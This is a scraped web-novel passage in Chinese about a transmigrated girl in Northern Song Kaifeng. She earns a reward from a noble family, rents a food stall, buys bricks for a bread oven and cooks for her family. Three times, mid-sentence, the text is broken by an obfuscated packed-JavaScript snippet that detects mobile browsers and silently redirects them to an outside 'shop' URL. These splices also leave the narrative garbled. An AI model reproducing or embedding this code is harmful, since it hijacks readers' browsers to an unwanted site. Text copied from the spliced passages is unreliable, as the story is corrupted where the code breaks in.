也只有大姐儿，抱了小於菟，三哥儿也不能拿她如何。谢昀真羡慕她，她怎就不怕三哥儿呢！ 他咋舌，秦小娘那般温和的性子，生的大姐儿却这般，外头一张笑脸儿，保不准暗地里有什麽损招儿。 谢昀察觉谢晦的视线，龇牙咧嘴笑，忙溜到一边去，不敢再逗。 大家都笑得前仰后合。 谢晦喝完一盏茶，视线垂下，落在小丫头摆弄的手指上。 看得着摸不着，对黄樱是折磨。 这屋子才待了一会儿，她便觉得拘束，远不如她家那拥挤的院子自由。 她也担心两个小娃。 “小娘子虽好心，咱们也不能亏待人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16229448|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我让人备了些东西，权当作谢礼，小娘子别嫌弃。” 黄樱忙笑道，“娘子客气，本也不是自个儿的东西，教便教了，不敢居功。” 谢大娘子是当真对她另眼相待。 本是为了讨老太太的开心罢了，多少钱她也不在乎。 若是那起子为了钱的，也没甚。 没成想她是个洒脱利落的，说教也不藏私。光是站在那儿，一身不卑不亢的气度，也难得。 老夫人眼神多毒呐，这么喜欢她。 要知道连家里二姐儿也讨不了她欢心。 临走，老太太竟还道，“好孩子，空了多到府里坐坐，跟老身说说市井闲话。” 黄樱笑着应“好”。 谢敏亲自送她出去，“日后若有难事，可到府上找我。” 黄樱笑：“多谢小娘子。” 她也没当真，要是真挟恩图报，人家也未必瞧得起她。 谢家仍派了轿送她们回去。 出了谢宅，黄樱松了口气。 大户人家虽富贵，但也拘束呐。她擦了擦额头的汗，这日子她是过不了一点。 等下了轿，黄樱拉着两个小孩儿往娘屋里跑。 谢家的下人可会做事儿，大娘子也确实会做人。 不但赏了她五十贯钱，另外还有各色肉，足足抬了两担。 糖霜和那茶油也给了她各一斤。 还给了两个小娃娃各一匹布、五斤棉做衣裳。 这个数儿不多也不少。 更难得的，还是谢家下人在巷口说的话，他们说，“我家老夫人甚是喜欢黄家小娘子做的糕。” 她在附近走街串巷，生意好了难免遭人妒恨。尤其那胥吏拦街要钱的事儿，娘就碰见好多回。 有了谢府上这话，他们想欺负人，也得掂量掂量。 谢家大娘子赏的所有东西加起来，也抵不上这份好意。 不愧是大户人家的娘子，真心替人着想便面面俱到。随口的一句话，也能让普通老百姓日子天翻地覆呢。 没有个靠山，穷人光有钱也守不住。 黄娘子喜得什么似的，瞧着满地的东西，“乖乖！这等好事儿也让咱们碰上了。” 那钱沉甸甸的，足装了一个黑漆小箱儿，整整齐齐五十串。 黄樱弯腰抬了抬，笑得喜滋滋，“好沉呐。” 宁丫头和允哥儿都来凑热闹，学她的模样，宁丫头用劲过头，摔了个屁股墩儿。 黄娘子没好气，“这可不是拿来玩儿的。” 黄樱瞧见娘一个人偷偷抬了抬那箱子，眼角都笑出褶子了。 她捂嘴偷偷笑了笑。 娘找地方先把钱藏了，再拿了布和棉花。这样新的布，这样白的棉花，她爱不释手，“俭省些，能给你们一人做件袄呢！” 黄樱笑，“我的去年才改的，给宁丫头和允哥儿做一身，给大哥儿做一身捎去才要紧呢！那淘河可是又冷又累的。” “我的儿，难为你还念着大哥儿。” 黄樱则去瞧那些肉，可都是好东西呐。一整条羊腿，鸡鸭鹅兔各一只。她在心里合计做法。 最要紧的，他们有钱了！她也高兴得很。她有好多东西想要做。 “对了，娘，我想在太学附近租个摊儿。” 黄娘子一拍脑门，“对，我问过你三婶，她说跟街道司书吏熟，带你去办便是。” 黄樱早瞧好了一处地儿，就在太学南门，熟药惠民南局对面横街。 那里有好些卖饮食的店。 “我晓得了。”黄樱美滋滋道。 吴家书铺子，后院。 “当真？”吴员外瞪大眼睛，一个激灵从机扩椅上跳起来。 “奴听得真真儿的，说是昭德坊谢相公府上。” “这如何使得？”大冷天儿吴娘子出了一头汗，“要不让我哥哥停手了罢？” 吴员外眯了眯眼睛。 “国子监那些小衙内都爱吃她的馒头？” “是，奴亲眼瞧见那些小衙内站在那担子前吃，吃不着还恼呢。” “你快回去一趟，这事儿先别办了。” “哎！真是便宜他们了！” 吴员外冷哼，“此事不急，且先看看。” 自从那日以后，读书人当真不怎么来他们书铺，生意一落千丈，怎能不恼！ 他自来是个心狠的，舅哥手下有些人，他本打定主意要给这家人好看。 谁承想半路杀出个谢府。 那可是权贵之家，给他一百个胆子也不敢乱来。 黄樱自是不知吴家背后的算计。 纵使有些打她注意的，这会子也都该消停了。 18. 三婶帮大忙 018 三婶是个大嗓门的直爽娘子，头包布巾，腰系青花手巾，膀大腰圆，满脸横肉。 与瘦小精干的三伯完全相反。 前几日在屋里，黄樱总听见三婶的大嗓门。 三伯家里三个哥儿，三婶子没少提着菜刀满院子追着打。 那动静，总惊得邻居来瞧，以为谁家猪跑了。 这几日黄樱早出晚归，而三婶和三伯每日要到南熏门外去，赶晚上关城门，赶着几百只猪进城，到了杀猪巷，连夜杀猪。 总没有碰上面。 今儿三婶在家。 她一见黄樱，高兴得拍了拍她肩膀，“二姐儿可算好了！阿弥陀佛，菩萨保佑。” 三婶两口子都杀猪，怕罪孽，一家信佛，寺院里有什么事儿，总抢着干。 不过不耽搁吃肉就是。 黄樱半边肩膀麻了。 她笑道，“托菩萨保佑，又有三伯和婶子挂念着，自然便好得快了。” “二姐儿这张嘴哟——真真儿比你爹强一百倍！” 黄樱捂着嘴笑。 说起租摊位，原来三婶与那街道司书吏从小儿认识，黄樱一去，签了契，画了押，交了赁钱，拿到那一纸契约，事儿便算成了。 那书吏指着熟药惠民南局前头一块儿，划出来给她了。 地方不小，足以放下几张桌椅，摆一个小摊儿。 她往左右瞧，这一爿都是饮食店，甚麽分茶、脚店、状元楼、郑家油饼、南食店、石逢巴子…… 她摊位左右排开去，全是小摊贩。 街边立着几丈高的表木，朱漆，顶上有十字交叉短木，最上头是木雕的飞鹤。 这便是东京城里的道路警戒线了，百姓不得侵占街道、越过表木去。 黄樱溜达了一圈儿，瞧着正对着的太学南门，很是满意。 这太学南门也归国子监管，小贩们占了国子监的地盘做生意，便要给国子监付赁钱。 大相国寺也是一样的。只那些无人管的街巷不必，那些地方通常也不甚繁华便是了。 北宋是当之无愧商业繁荣的朝代，朝廷带头做生意，搞专卖，商业税占国库收入大头，最多的时候占了七成，这是前所未有的。 上至各个衙门，下至寺庙、道观，都有自己的生意，放贷是最常见的。 这国子监的师生廪禄、修缮、刻书等等费用，户部并不都给钱，有些得靠自己运转。 其中赁钱和放贷的息钱便占了大头。 太学南门，每日十五文钱摊位费。一月也得四百五十文钱呐。 她咋舌，真不便宜，赶得上他们家三分之一赁屋钱。 三婶还忙着出城赶猪，黄樱谢过，便回家了。 爹正要出门子，黄樱忙问，“爹，作甚去？” 近来大家日子都不好过，没人做木活。 黄父笑，“去砖瓦铺瞧瞧，买些砖，砌窑炉。” 黄樱忙跟上，“我也去！我还有好些东西要做，路上跟爹说。” 她感觉身后被坠住了，她低头，允哥儿仰头瞧她一眼，拉着她衣角不说话，眼睫毛轻轻颤动。 黄樱笑，“允哥儿也想去呐？” 小孩儿：“嗯。” “那走罢！”她牵起小孩儿的手。 允哥儿抿唇笑了一下。 东京城人口百万，百姓们今儿修个房，明儿建个屋，砖瓦的需求量是很庞大的。 烧砖瓦的窑也分官窑和民窑，这官窑么，主要是新郑门外的西窑务和陈州门外的南窑务。光是工匠就有一千多，瓦窑足足十几座呢！ 不过呢他们普通百姓是用不上官窑的，那里主要供应皇宫和朝廷的需求。 百姓们用砖，都从砖瓦铺买，若是需求量大了，也可以直接去城外，找那民窑小作坊采买。 爹十项全能，箍桶、修碗、建屋、淘井、钉鞋……只要他瞧别人做一遍，自个儿就能做得差不离。 砌窑炉难不倒他。 爹一路上耐心跟她说，这好的窑炉，最里头，得用烧瓷的耐火砖，中间呢得用粘土砖——保温，最外头，要用结实的青砖。 若是只有娘给的五百文钱，那只能建个大概样儿。如今有了钱，要给二姐儿建个好的。 黄樱笑得美滋滋的，“爹真厉害！” 黄父摸摸她头上细细的头发。 二姐儿从小不如大姐儿声音大，也没脾气，家里很少注意她，病了一场，黄娘子才重视起这个女儿来。 但爹从来很公平，给大姐儿甚麽，二姐儿必定也有的。所以二姐儿记忆里，是很喜欢爹的。 刘氏砖瓦铺在南边，靠近南熏门了，这里赁屋便宜，前头是铺子，后头是院儿，堆满了各色砖瓦。 光是砖，就分砌墙的条砖、铺地的方砖、建拱形窑的楔形砖、榫卯砖，还有那雕了花纹的花砖……一点儿也不比现代少。 铺里乌泱泱的人，吵得声音震天了。 这是城南最大的铺子，家里修补，都来这儿。 黄樱咋舌，好多人！ 那挑砖瓦的、讨价还价的，你来我往，唾沫横飞。还有装车的，砖瓦声音又大，“噼里啪啦”，压根插不上话。 爹拍拍她，“自己来。” 他拿起一个柳条筐，黄樱牵着允哥儿跟上。 爹两只大手蒲扇似的，个儿高，黄樱才到他胸前，瘦瘦的。 允哥儿呢，也瘦瘦小小，这几日才养回来一点儿，还没她腰高。 他们就在人堆里钻来钻去，爹挑了几种砖，走到那个嘴里叼着麦秆的小儿子跟前。 “没瞧见陶砖。” 那小儿子一听，“陶砖？近来没有。你得去城外问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16248266|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 旁边一个跟人讨价的青年回头，“前儿不是才有一车被退回来？” “瞧我这记性！”小儿子一拍后脑勺，“你们来得巧，前些日子正好有人砌窑炉，有一批陶砖，最是耐烧。” 一问价格，陶砖最贵，一块要二十文。 青砖次之，十文。最便宜的土砖，一文钱。 黄樱算了算，爹说要一百五十块陶砖，就是三贯钱；两百块青砖——两贯钱，土砖五十块——五十文。 再加上黏土、沙子、麦秸一百文，这面包窑要五贯一百五十文钱呐！ 她咋舌。 虽那店中小儿子说了，“用不完的，尽管拿回来退钱。” 但爹估的当是差不离。 黄樱跟店家讨价，对方一分不肯少，但答应替他们送货。 黄樱无奈，跟着满满两车砖一起回。 这北宋的车，最大的，是运粮食、大宗货的太平车，前后有二十头驴或七八头牛拉拽，堪比重型大货车。 次者，乃平头车，一头牛拉，她在脚店前碰见的拉酒梢桶的便是了；再次者，有独轮车、浪子车，都是小商贩们用的。 这砖便是用平头车拉的，小儿子牵着牛鼻绳走在一边。 黄樱没带够钱，小儿子跟她回去取钱。 爹将允哥儿架在肩上，小孩抿着唇偷偷笑。 她心里估算了下，按照这个砖价，盖房子光砖钱就得上百贯。 谢府赏的五十贯钱瞬间便不多了。 她心里已经打算好了，这摆摊也要有个章程，有个陈列设计，得有招牌和广告。 可别小瞧了北宋商贩的广告意识，那药铺外头光是招牌便有四五个，最常见的“治酒所伤”都在最显眼处。 这就算了，甚至还有许多铺子做了商标呢！比如那刘家功夫针铺的铜板上便印有“白兔捣药”的标识，并以文字写明“认门前白兔儿为记”，堪称北宋独家商标。 黄樱跟爹说，“咱们如今只挂个幌子，只是这幌子上的画得好生想想，日后开了铺儿，也好辨认呢。” 黄父说：“好，要甚麽画儿，巷头的孙画匠都能画，字儿也能写，别人都找他。” 黄樱一路都在想自家招牌的事儿。 她如今才起步，饮食做得杂了些，看似什么都有。 但她心里是有计划的。 她爱吃甜食，日后还要烤许多面包甜点，这糕饼铺子是必开的。 有了甜的，还得有咸的不可，她还要开一家大饭店，像李四分茶那样，门前挂满了猪羊肉，什么羊肉手抓、回锅肉、五花肉、红烧排骨……想想都流口水。 这有了大饭店还不成，她还喜欢吃各种小吃，什么手抓饼、烤冷面、炒年糕、炸鸡、炸串、麻辣烫……再开各种小吃店。 她越想越兴奋，恨不能立即开满东京城。 19. 牛娘子杂货 019 经过杂货行，黄樱忙停下，“爹，我买些赤豆去。” 杂货行里南北杂货、鱼鲞豆酱全都有。 她牵着着允哥儿进去，一个头上包布巾的娘子面有难色，正跟个男子争执，瞧见人来，那男子拂了拂袖，气呼呼出去了。 娘子热情地迎上来。 她背上一个小孩儿正抱着炊饼啃，地上两个小丫头子在玩打娇惜。 “小娘子买些什麼？” 黄樱瞧了瞧，靠墙摆了十来口大黑陶瓮，红纸黑字贴了“酱清”、“醋”、“豆豉”、“豆酱”。 “娘子自个儿做酱？”黄樱问，是她小瞧这铺子了。 那娘子笑道，“经营着酱作坊，我家的酱，保管小娘子吃了还想吃，晒足了日子的。” 黄樱挨个闻了闻，这酱清也就是酱油，酱油是北宋出现的叫法。很是鲜美，比他们家原先那种便宜的滋味好许多。 制酱油需发酵，酿造时间要大半年以上，故价也贵，一角要二十文，换算成毫升，大概就是二百毫升。很不便宜。 豆酱乃黄豆发酵、晒制而成，类似黄豆酱，但滋味是不同的。一小罐卖二十文钱，比酱清经用。 豆豉一包十文钱，便宜许多。 他们家巷口也有家小杂货，不过卖些酱醋油盐，都是零散卖的，比不上这铺子大，东西也便宜，味道只是咸罢了。 允哥儿欢喜得四处瞧，她还看见了紫氂，也就是紫菜，还有虾皮，笋干，这些南货都是汴河上船运来的，价要贵些。 “紫氂和小虾子怎卖？” “小娘子真识货，俺家这紫氂和干虾子是兴化军产的呐，味儿比别家的强十倍。干虾子贵些，三十文一斤，紫氂二十文。” 黄樱笑，这便是娘子浑说了。兴化军紫氂是贡品，这便跟当代所有大闸蟹都叫阳澄湖大闸蟹一个套路。 不过她闻了闻，确实鲜，没有捂。 “娘子算我便宜些，我日后都来买的。” 要摆摊了，到时可以放些桌椅碗筷，添些新品，馄饨就不错呐。 “小娘子要多少呢？” “各五斤。” 那娘子背上的小孩儿呛住了，哭将起来，娘子忙抱起来晃着哄，“奴瞧小娘子是个利落人儿，那便给小娘子便宜五文如何？小本生意，也挣不了多少。” 黄樱喜滋滋的，“娘子如何称呼？” 这做生意也讲究眼缘，一般这种大货行是瞧不起她这样的小丫头的。 这娘子是个实诚人，她很愿意以后都来。 “唤我牛娘子便是。” “牛娘子，赤豆、绿豆我也各要十斤，砂糖也五斤，娘子算我便宜些呢。” 牛娘子笑道，“赤豆、绿豆本就价贱，粮价如今还没降下来，便宜不了，砂糖一斤六十文，小娘子若能买十斤，我便算五十五文如何？” 黄樱一算，能省五十文呢。 她点了头，“行，那便十斤！娘子再添我一两红曲可好？” “还有这酱清，豆酱，豆豉，可否也便宜些？”她笑盈盈道。 牛娘子笑，“小娘子也太精明些。那些小杂货铺子来我家整缸买都不少一厘的，实在不能了。” 黄樱笑，“娘子家最实惠，我日后都来。” “嘴甜也不能够的。若你能一次买十缸，奴且依你，那红曲便算添头饶你罢。” 好吧，黄樱连一缸也买不了。 最后买了红豆、绿豆各十斤，一百文；紫菜五斤，七十五文；干虾子五斤，一百二十五文；豆酱一小坛，二十文；酱清一百文，豆豉一包，十文，砂糖十斤，五百五十文。 统共花了九百八十文钱。 黄樱从一贯钱里取下二十个铜子儿，其余全给牛娘子了。 钱从手中花出去的速度忒快。 酱清的坛子回家倒了以后要仍还给牛娘子的。 允哥儿自告奋勇要抱着豆酱坛子，黄樱给他拿。 小孩儿买东西高兴呢，走路都蹦起来了。 路过一个小摊，允哥儿忙拉她，“二姐儿，食茱萸。” 北宋没有辣椒，食茱萸便是重要辣味来源。 黄樱方才让允哥儿注意些，要买。 小娃娃一路都仔细盯着那些进城卖杂物的小贩。 他们买了一斤，价并不贵，十文钱。 到家已是饿了，宁丫头在灶房玩允哥儿的悬丝猫儿，视线不时盯着灶上那些鸡鸭鹅兔，馋得咽口水。 黄樱瞧见了，心里怜爱，摸摸小丫头的脸。 “二姐儿。”小丫头抱着她的腿撒娇。 黄樱：“我给咱做鸡肉。” 小丫头眼睛亮了。 黄樱笑了笑，“宁姐儿来烧火可好？” “好！” 七岁的宁姐儿已经烧得一手灶火。 小丫头熟练地将一根柴火斜立在墙上，一脚下去踩断，弯腰，小手捡起来塞进灶膛里。 黄樱瞧着她忙碌，心底软软的，一边收拾谢家送来的鸡，准备做大盘鸡。 她撸起袖子，腰间系上青布巾子，先和了一盆面，和面讲究三醒三揉，然后擀开抹油，盖上盆儿松弛。 大盘鸡需得配着扯面才有滋味儿呢。 然后将鸡剁成块儿。 正宗大盘鸡是辣口的，将土豆炖得绵软糯口，用青红辣椒配色，辣椒粉呛味儿，还得加上郫县豆瓣酱，炒出来红油。 可惜，这些北宋都没有。 她做北宋改良版的，配菜便用他们家地窖里的芋头，辣味儿靠食茱萸。 可惜，这道菜要是没有红油也就失去了色香味的“色”，不过，宋人自有办法。 她拿出让牛娘子当添头的红曲。红油这便有了。 宁丫头坐在小凳上，炉膛里火轰隆隆地，黄樱在胡麻油里加了几勺猪油，烧得冒烟了，将那鸡肉放进去煸炒。 待水都煸干，鸡肉滋啦啦作响，煎得金黄，加入红曲，将鸡块挂上“红油”，色泽诱人。 再加入黄酒、生姜、大葱、八角、桂皮、白芷、花椒、糖、食茱萸，炒出香味儿，加酱清一勺，豆酱一勺，将酱香味炒出来，加水没过鸡块，再加芋头。 盖盖炖半个时辰。 古代都是走地鸡，非饲料鸡可比，时间太短炖不烂。 灶房里已经满是香味儿了，宁丫头吸着鼻子，“恁香！” 黄父将砖卸在灶房台矶上，拿了墨斗和木尺，在灶房里来回走了几步，划出一块儿地来。 “便砌在这儿罢。” 黄樱跟着走了一圈儿，已经开始期待了。 她有好多东西想烤。 爹出门子去泥瓦匠家借来瓦刀、泥桶、夯杵、锤子、凿子、耙子……全都放在灶房台矶上。 “要用恁些东西呐？”黄樱跟着瞧。 黄父笑了笑，“嗯。” 爹动作很麻利，以前年轻时候在东京城大街小巷做短工，盖房子也做过呢！ 这打地基最辛苦，爹闷不吭声，一整日低着头，下工时候脖子都是僵的。 这点儿东西相比起来小菜一碟。 用镐头将泥地凿开、耙子耙平整，然后拿夯杵夯实地面，使其平整、结实。 爹很有耐性，一点一点夯，这点活也做得整整齐齐，脚踩上去硬硬的，再拿准线一拉，丝毫不斜！ 地基夯好，爹在院里和了泥，拿起瓦刀，开始砌砖！ 黄樱转头揭了个锅盖的功夫，地上已经铺起两层砖了。 她忙提了桶给爹送泥。 允哥儿则一块儿一块儿给他拿砖，脸上沾得黑一块儿白一块儿，成了小花猫。 爹接过一块儿砖，在拐弯处比一比，拿瓦刀敲掉半块，合上去，严丝合缝的！ 一家人忙得热火朝天。 黄樱顾着两头，瞧大盘鸡快好了，麻溜洗了手，开始扯面。 不同于揪面片，这大盘鸡的扯面讲究一个宽、韧、长，跟关中裤带面差不多。 她将醒好的面饼切成三指宽，拇食二指压薄，从中间慢慢抻开，捏着两端在案板上拍打，便越拉越长，将完整一根下到滚沸的水里。 煮好的扯面捞到一个陶盆底下铺平，旁边大盘鸡也炖好了。 揭开盖儿，一阵热气扑来，香味儿让人为之一振。 黄樱吸了一口气，太香了。 “哇！”宁丫头踮起脚，使劲往锅里瞧。 砌窑炉的爷们儿两个也回头来。 黄樱笑了笑，“爹，洗手吃饭！” 大火收汁，不能收得太干，要留些汤汁浇面。 她用锅铲使劲儿翻炒，让每一块肉、每一块芋头上都浸满汤汁。 再将肉盛出盖在面上，撒上白芝麻、葱花。 红油、绿葱花儿、白芝麻，光瞧着便流口水。 她盛了两盆，一盆给三婶，谢谢她帮忙。 一盆爹端到屋里泥炉上。 黄樱给三婶送完，掀帘进屋，四个人八双眼睛齐刷刷瞧过来，个个两眼放光，盯得她一个激灵。 真哥儿闻着味儿开始闹了。 “怎不吃？” “等二姐儿。”允哥儿忙往一边挪，给她留出空儿。 黄樱拿起筷子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16261187|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快吃！” 话落，五双筷子在盆里打了一架。 黄娘子瞪宁丫头，“你急甚！” 黄樱笑得不行了，她给每人碗里夹一块儿，自个咬了一口，眼睛眯了起来。 鸡肉嫩而不柴，吃五谷杂粮的走地鸡，滋味儿本身已远超饲料速成鸡，再加上香料味儿已经渗入每一丝鸡肉，一口下去，软嫩多汁，花椒的麻、茱萸的辣、大料的香，全在味蕾上爆发。 再咬一口芋头，又软又糯，一抿成泥，吸饱了汁水，根本停不下来。 配上裹满汤汁的扯面，蘸满芋头泥，劲道爽滑，吸溜进嘴里，辣得脸上冒汗。 一时间“呲溜”声此起彼伏，没有人顾得上说话。 两个小孩儿鬓发都湿了，辣得直吸溜，眼睛亮晶晶的。 宁丫头打了个饱嗝，筷子不舍地还在盆底捞芋头碎。 娘拿来两个炊饼，跟爹一人一个，掰开，开始“擦”盆底子。 馒头上沾了一圈红油，将馒头渗得透透的，吸饱了汤汁，盆底子干干净净，连一丝儿油都不见。 “乖乖！这太好吃了！”一家人捧着肚子长叹。 真哥儿吃不着，哼哼唧唧想哭，黄娘子拿了个炊饼哄。 没成想平日很好哄的小娃，今儿拿炊饼也没用。 黄娘子直念叨，“这小子是成精了不成！” 屋外三婶大嗓门直惊叹，“二姐儿做的这甚麽大盘鸡！真绝了！” 黄樱也吃撑了。 谢府送的鸡足有五斤，她怕两家不够吃，又添了许多芋头，再配着扯面，份量很不少。 她扶着墙起身，走到灶房消食儿。 加了窑炉，原本就狭小的灶房，更挤了，好些东西都没地儿放。 她索性将案板和橱柜、粮食瓮移到自个儿屋里。 她心里合计，如今两间屋住一家人还是太小了些。 大哥儿没走前，都是她跟娘、宁姐儿一屋，爹跟大哥儿、允哥儿一屋。 太不方便了些。 且那床也不大。 二姐儿印象中，以前大姐儿在时，四个人挤一起睡。 她便时常被大姐儿挤到墙角，小时候老是被蹬下床。 允哥儿再大些，也不能跟她们一起睡。 正想着，大门处传来陌生人声，她掀帘瞧去，认出是大相国寺的庄宅牙人，皂衫角带，头戴幞头。 正领了几个陌生面孔向戚磨家两间屋走去。 黄娘子盘了一条腿在屋里说话，从窗户缝里瞧见了，一个鹞子翻身从床上跳下，吓得爹忙扶住，“当心，当心些。” 黄娘子不耐地将他推一边，十万火急拿起拐，理了理衣襟，这才不紧不慢拿着劲儿从屋里走出去。 “哎呦王官人又有生意了？多久日子没见，越发气色好了。” 王牙宝拱手，笑，“托娘子的福。” 娘一瘸一拐走到那屋外头，倚着门，一边说着话，不时从窗户里乜着那几个看房人，从脚底打量到头顶，笑道，“这屋里空了几日，真真有些冷清，几位官人甚处忙呢？” 王牙宝最是知道这个黄娘子，事儿精一个，一撅屁股都知她想放什么屁。 他心里翻了个白眼儿，面上笑呵呵道，“都是正经人家，到时娘子便知了。” 黄娘子心里呸了一声，个门角里的诸葛——阴着精！ 她面上笑道，“瞧着打扮像是做买卖的？” 屋里一个娘子回头笑道，“我们初到东京，我家官人来读书呢。” 黄娘子脸上笑容更大了，“竟是读书人家，失敬失敬。我们这院儿里人少，又安静，最适宜读书，娘子可算运气好呢。” 王牙保面上笑呵呵，这黄家，每家七八口人，挤在两间屋中，跟人少搭不上半点边。 “不知娘子作何营生？”那娘子将她打量一眼。 “俺家做饮食的。”黄娘子笑道。她也有心眼儿，不说卖炊饼的。 那妇人笑了一下，“哦。” 回过头去，不再理会了。 黄娘子翻了个白眼，呸了一声，拄着拐回来了。 黄樱站在窗前瞧了娘这一出机锋，心里好笑。 也不知到时会有怎样的邻居。 东京城这样群居的院里，没少鸡飞狗跳的事儿，戚娘子这样小偷小摸的很不少。经常听见吵架撒泼之事。 就说他们黄家，原先院里共用一间灶房，后来二婶说丢了这个那个，明里暗里在指他们家，娘破口大骂，站在院里骂了好几日，爹单独搭了棚屋出来，不跟他们共用了。 二婶这才没了话。 20. 衙内来找茬 020 东京城里房屋拥挤，她家两间屋子都不大。 她那间进门便是一个泥炉儿。 屋子约莫五步宽，六步长。 炉子旁边一张细腿大方桌，桌上放着个黑陶茶壶，已经斑驳掉色了。 右手边一张通铺木床，靠墙一个梨木柜儿，还有三个樟木箱，都上了桐油，仔细雕了缠枝芙蓉和狮子戏球纹样，本是爹前些年给大姐儿打的嫁妆，可都不便宜。 结果大姐儿嫌样式老旧，央着爹又打了新的。 娘说这些留给她和三姐儿作嫁妆。 柜子本是一对儿，她穿来前，爹娘典掉了另一个。要是她没穿过来，估摸着这些都留不住。 不大的屋子，摆上灶房里的盆盆罐罐，一下子便拥挤了。 她还想要一辆车，摆摊的话，得好生布置一番。 还得有几张桌儿，卖饮子的吴娘子家那张折叠的就很好使。 凳儿也得有。 爹说他都能做。 这样可省下几贯钱的工钱，爹做的也更结实耐用。 东京城的木料都是汴河上大船从南边运来的，价不便宜。 三伯家的令哥儿在界身巷替人拉车，木头也拉过。 那边好几家木材铺儿，爹托他留意谁家有便宜的木料。 汴河清明便要开，届时新木料运来，旧的便会便宜。 令哥儿满口答应，说打听好了带爹去铺子里瞧，保管是最便宜的。 黄樱要的浪子车，参考后世做法，她要爹两边加上车沿儿，以防东西掉下去，爹听了，说，“行。” 家里有一沓竹纸画儿，都是爹做过的器物。 爹虽只是个市井小木匠，全凭自个儿摸索出一套章程，也没甚了不起的技艺，别说跟翰林书艺局的待诏比，连那些木作行的匠人们也比不了的。 但二姐儿就是觉得爹很厉害。 爹的竹纸上已多了窑炉的样式，黄樱一张张拿来瞧，结构真清晰！ 上头随手用炭描了浪子车的样式儿，轮子、车辕、架子，尺寸、木料，已是明了。 可惜竹纸价贱，是用来糊窗的，连油纸也比不了，好些都坏了。 从四角压褶的痕迹瞧得出来，爹很小心保存呢。 “爹，咱买写字的纸给你画，日后都订成册子，说不定将来也能收个徒弟继承衣钵呢。” 黄父憨笑，连忙摆手：“哪能误人子弟。” “咚——”“咚——”“咚——” 寺院钟鼓声传来，悠远悠长。 夕阳斜挂，山边橘红。 到国子监下学时间了。 黄樱忙跟爹挑了担子去卖肉夹饼。 王员外那帮食客半路就买了些，到了水柜街，那些小郎君竟三三两两在等了，吵吵嚷嚷的，说，“远远听见唱卖，总不见来，等了半日了。” 黄樱忙笑道，“家中有事耽搁了些，抱歉。” 大家一拥而上，每人三五个买，一下子就见底了。 没买到的小郎君有些生气，“怎只做这些！” 黄樱笑，“小郎君明儿午时早些来，定准时来卖的。” 终于将人哄走了。 黄樱抹了把汗，抬头，没成想眼前还有个气呼呼的小郎君，锦帽貂裘，圆圆的脸，一看便是权贵家的小衙内。 她忙笑道，“卖完了，小郎君明儿再来罢！” 王琰气得不行，蛮横道，“怎到本衙内便卖完了，不成，我今儿非要吃到那猪肉夹饼不可。” 他身后两个书童，与他一般，上来就要摔东西。 黄樱忙上前，“如小郎君所见，这锅子中确实卖完了。若郎君定要吃，只能等奴再做了，这卤肉需得两个时辰方能炖好，到时天也黑了，小郎君家中亦要担心呢。何不就等到明儿来买呢？小郎君想吃几个，奴都留着可好？” 伸手不打笑脸人，尤其她笑起来格外讨喜，声音也好听。 可王琰今儿在周琦那里吃的憋，定要发出去的。 宁丫头紧紧抓着爹爹的衣摆。 黄父忙上前挡在二姐儿前面。 王琰瞧见这一幕，更气了。 他踹了一脚泥炉，炉子没踹倒，险些将自己栽倒，气个倒仰。 “让小爷等，明儿若是不好吃，再不许到这儿卖！” 他都吃不到，那些人也别想吃到。 原来下午，周琦那厮说水柜街上买的猪肉夹饼如何好吃云云，引来众多人附和，竟有许多人吃了。 王琰午膳吃的是李四分茶的插肉、拨刀、软羊，滋味儿不错。 又遇上货郎博卖，与他掷了几个钱，皆正面朝上，赢了两个小玩意儿，心情很是不错。 谁承想周琦又抢风头。 一时插不上话，当真气煞他。 他冷哼一声，“不过市井贱食，有甚么意思。小爷才不稀罕。” 众人静了一瞬，随即竟又夸那小娘子的馒头和鸡子糕。 一群没见识的！ 他连尚食局做的酪面也吃过！ 甚麽好东西。 因着恼火，练字便慢了些，写完几张大字，人都走了。 好容易出来，他倒要尝尝那猪肉夹饼，若是不好吃，他要砸了那摊子！ 谁承想竟卖完了！ 他气呼呼地被下人扶到了一辆马车上。 黄樱哭笑不得，赶紧把摆摊位提上日程。 不过，她还是头一回这样近地看到马车。 北宋马是战略物资，价格很贵，几十贯乃至上百贯钱都有。 寻常人家出行都是驴车、牛车。马车是很少见的。 这小郎君家里定是高官。 她摸摸宁丫头的头，对爹笑道，“没事儿，小郎君这样想吃，说明咱们家猪肉夹饼味儿好呢。” 宁姐儿再性子活泼，也是个小孩儿，从小出生在下层百姓中，对权贵的畏惧是骨子里的。 黄樱将担子挑了，“咱们回家吃肉。” 宁姐儿注意转移了，“二姐儿又做什麼好吃的？” 立马忘了方才的惊吓。 “还未想好。三姐儿想吃甚？” 